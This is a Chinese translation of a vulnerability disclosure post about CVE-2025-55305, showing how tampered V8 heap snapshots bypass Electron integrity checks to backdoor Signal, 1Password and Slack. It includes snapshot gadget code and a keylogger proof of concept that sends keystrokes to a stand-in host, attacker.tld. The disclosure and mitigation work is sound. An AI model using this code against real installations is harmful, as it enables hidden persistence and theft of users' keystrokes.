绕过代码完整性检查:本地后门攻击Signal、1Password和Slack的技术解析

本文深入分析了Electron框架中的代码完整性检查绕过漏洞CVE-2025-55305,详细介绍了如何通过篡改V8堆快照文件在Signal、1Password和Slack等流行应用中植入本地后门的技术原理和实现方法。

颠覆代码完整性检查:在Signal、1Password、Slack等应用中植入本地后门

应用程序完整性并非新问题

确保代码完整性并不是一个新问题,但不同软件生态系统对此的方法各不相同。Electron项目提供了一系列熔断机制(即功能开关)来对可执行脚本组件强制执行完整性检查。这些熔断机制默认处于关闭状态,必须由开发人员显式启用。

图1:Slack中启用的EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar

EnableEmbeddedAsarIntegrityValidation确保包含Electron应用程序代码的归档文件与开发人员打包的应用程序完全一致,而OnlyLoadAppFromAsar确保该归档是加载应用程序代码的唯一位置。这两个熔断机制共同构成了Electron确保应用程序加载的任何JavaScript在执行前都经过篡改检查的方法。结合操作系统级别的可执行代码签名,这旨在保证应用程序运行的代码正是开发人员分发的代码。

失去这种保证会打开潘多拉魔盒,最明显的是攻击者能够:

  • 向易受攻击的应用程序注入持久、隐蔽的后门
  • 分发经过篡改但仍能通过签名验证的应用程序

滥用未进行完整性检查的Electron应用程序远非理论问题,其广泛程度足以在MITRE ATT&CK技术条目T1218.015中占有一席之地。基于此技术的流行命令与控制框架Loki C2使用受信任应用程序(VS Code、Cursor、GitHub Desktop、Tidal等)的后门版本,以规避终端检测与响应(EDR)软件(如CrowdStrike Falcon)以及绕过应用程序控制(如AppLocker)。

从冷冻披萨到无签名代码执行

用Google V8团队的话来说: “V8使用了一种快捷方式来加速进程:就像为了快速晚餐而解冻冷冻披萨一样,我们将先前准备的快照直接反序列化到堆中,以获得初始化的上下文。”

基于Chromium的Electron应用程序继承了使用"V8堆快照"文件来加速其各种浏览器组件(参见主进程、预加载、渲染器)的加载。在每个组件中,应用程序逻辑在全新实例化的V8 JavaScript引擎沙箱(称为V8隔离)中执行。这些V8隔离从头创建成本高昂,因此基于Chromium的应用程序从堆快照加载先前创建的基线状态。

虽然堆快照在反序列化时不能完全执行,但其中的JavaScript内置函数仍可被破坏以实现代码执行。攻击者只需要一个被宿主应用程序高度一致执行的小工具,无签名代码就可以加载到任何V8隔离中。Electron在实现EnableEmbeddedAsarIntegrityValidation和OnlyLoadAppFromAsar时的疏忽意味着它没有将堆快照视为"可执行"的应用程序内容,因此没有对快照执行完整性检查。Chromium也不对堆快照执行完整性检查。

当应用程序安装到用户可写位置时(例如Windows上的%AppData%\Local和macOS上的/Applications,有一定限制),篡改堆快照尤其成问题。大多数基于Chromium的应用程序默认安装到用户可写路径,具有文件系统写入权限的攻击者可以悄悄地向现有应用程序写入快照后门,或携带自己易受攻击的应用程序(所有这些都无需权限提升)。快照不会显示为可执行文件,不会被操作系统代码签名检查拒绝,也不会被Chromium或Electron进行完整性检查。这使其成为隐蔽持久化的绝佳候选,并且其包含在所有V8隔离中使其成为极其有效的基于Chromium的应用程序后门。

小工具搜寻

虽然创建自定义V8堆快照通常涉及繁琐的Chromium编译,但幸运的是,Electron为此提供了一个预构建的组件。因此,很容易创建一个破坏全局范围成员的有效载荷,随后使用精心制作的快照运行目标应用程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// 将生成的文件复制到应用程序的`v8_context_snapshot.bin`

const orig = Array.isArray;

// 使用V8内置函数`Array.isArray`作为小工具。
Array.isArray = function() {
    // 当调用Array.isArray时执行的攻击者代码。
    throw new Error("testing isArray gadget");
};

图2:一个简单的小工具示例

用一个无条件抛出错误的小工具破坏Array.isArray会导致预期的崩溃,这表明经过完整性检查的应用程序愉快地包含了来自其V8隔离快照的未签名JavaScript。可以在不同的V8隔离中发现不同的内置函数,这允许小工具通过取证发现它们正在哪个隔离中运行。例如,Node.js的process.pid和各种Node.js方法独特地存在于主进程的V8隔离中。下面的示例演示了小工具如何使用此技术在不同隔离中有选择地部署代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const orig = Array.isArray;

// 使用自定义实现破坏V8内置函数`Array.isArray`
// 这在应用程序生命周期的不同上下文中使用
Array.isArray = function() {
    // 等待在主进程中加载,使用process.pid作为哨兵
    try {
        if (!process || !process.pid) {
            return orig(...arguments);
        }
    } catch (_) {
         // 在某些隔离中访问未定义的内置函数会抛出异常
         return orig(...arguments);
    }

    // 运行一次恶意有效载荷
    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        console.log('[payload] isArray hook started ...');

        // 展示提升的节点功能的存在
        console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
        process.exit(0);
    }
    return orig(...arguments);
};

图3.1:在Electron主进程中搜寻Node.js能力

图3.2:在Electron主进程中搜寻Node.js能力

开发概念验证

有了一个被Electron应用程序中所有隔离使用的有效小工具,就可以在著名的Electron应用程序中制作简单的应用程序后门演示。为了捕捉影响,我们选择Slack、1Password和Signal作为高知名度的概念验证。请注意,在主进程中具有无约束能力的情况下,甚至可以更广泛地绕过应用程序控制(CSP、上下文隔离)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
const orig = Array.isArray;
Array.isArray = function() {
    // 等待在浏览器上下文中加载
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

图4:在Slack中嵌入键盘记录器的基本示例

有了概念验证,团队将此漏洞报告给Electron维护者,作为完整性检查熔断机制的绕过。Electron的维护者迅速发布了CVE-2025-55305。我们要感谢Electron团队专业且迅速地处理了此报告。与他们合作非常愉快,他们对用户安全的坚定承诺值得称赞。同样,我们要感谢Signal、1Password和Slack的团队对我们礼貌披露问题的快速响应。

“我们通过Trail of Bits的负责任披露了解到Electron CVE-2025-55305,1Password已在v8.11.8-40中修补了此漏洞。保护客户数据始终是我们的最高优先级,我们鼓励所有客户更新到最新版本的1Password,以确保他们保持安全。” Jacob DePriest, 1Password首席信息安全官

未来看起来像Chrome

大多数Electron应用程序默认禁用完整性检查,而大多数启用它的应用程序容易受到快照篡改的影响。然而,基于快照的后门不仅对Electron生态系统构成风险,而且对整个基于Chromium的应用程序构成风险。我的同事Emilio Lopez通过演示使用类似技术在本地后门化Chrome及其衍生浏览器的可能性,将这种技术推向了更远。鉴于这些浏览器通常安装在用户可写的位置,这构成了另一个未被检测到的持久后门的风险。

尽管为其他代码完整性风险提供了类似的缓解措施,但Chrome团队表示本地攻击明确排除在其威胁模型之外。我们仍然认为这是一个现实且合理的途径,可以持久且未被检测地破坏用户的浏览器,特别是因为攻击者可以分发包含恶意代码但仍通过代码签名的Chrome副本。作为缓解措施,Chromium衍生项目的作者应考虑应用Electron团队实施的相同完整性检查控制。

如果您担心应用程序中的类似漏洞或需要实施适当的完整性控制方面的帮助,请联系我们的团队。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计